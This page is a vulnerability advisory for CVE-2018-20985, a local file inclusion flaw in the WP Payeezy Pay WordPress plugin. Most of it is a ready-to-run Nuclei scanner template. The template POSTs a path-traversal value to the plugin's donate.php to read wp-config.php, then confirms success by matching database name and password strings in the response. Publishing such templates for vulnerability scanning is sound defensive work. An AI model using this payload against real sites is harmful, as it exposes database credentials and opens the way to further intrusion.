CVE-2018-20985: WordPress Payeezy Pay <=2.97 - Local File Inclusion

2025-08-01 WordPress Payeezy Pay PoC Public

Description

WordPress Plugin WP Payeezy Pay is prone to a local file inclusion vulnerability because it fails to sufficiently verify user-supplied input. Exploiting this issue may allow an attacker to obtain sensitive information that could aid in further attacks. WordPress Plugin WP Payeezy Pay version 2.97 is vulnerable; prior versions are also affected.

PoC

id: CVE-2018-20985

info:
  name: WordPress Payeezy Pay <=2.97 - Local File Inclusion
  author: daffainfo
  severity: critical
  description: WordPress Plugin WP Payeezy Pay is prone to a local file inclusion vulnerability because it fails to sufficiently verify user-supplied input. Exploiting this issue may allow an attacker to obtain sensitive information that could aid in further attacks. WordPress Plugin WP Payeezy Pay version 2.97 is vulnerable; prior versions are also affected.
  impact: |
    The vulnerability allows an attacker to include local files and execute arbitrary code on the server.
  remediation: |
    Update to the latest version of WordPress Payeezy Pay plugin.
  reference:
    - https://www.pluginvulnerabilities.com/2018/12/06/our-improved-proactive-monitoring-has-now-caught-a-local-file-inclusion-lfi-vulnerability-as-well/
    - https://wordpress.org/plugins/wp-payeezy-pay/#developers
    - https://nvd.nist.gov/vuln/detail/CVE-2018-20985
    - https://github.com/ARPSyndicate/kenzer-templates
    - https://github.com/ARPSyndicate/cvemon
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2018-20985
    cwe-id: CWE-20
    epss-score: 0.07671
    epss-percentile: 0.94279
    cpe: cpe:2.3:a:payeezy:wp_payeezy_pay:*:*:*:*:*:wordpress:*:*
  metadata:
    max-request: 1
    vendor: payeezy
    product: wp_payeezy_pay
    framework: wordpress
  tags: cve,cve2018,wordpress,lfi,plugin,payeezy,vuln

http:
  - method: POST
    path:
      - "{{BaseURL}}/wp-content/plugins/wp-payeezy-pay/donate.php"

    body: "x_login=../../../wp-config"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "The base configuration for WordPress"
          - "define( 'DB_NAME',"
          - "define( 'DB_PASSWORD',"
        condition: and

      - type: status
        status:
          - 200
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Source: https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2018/CVE-2018-20985.yaml

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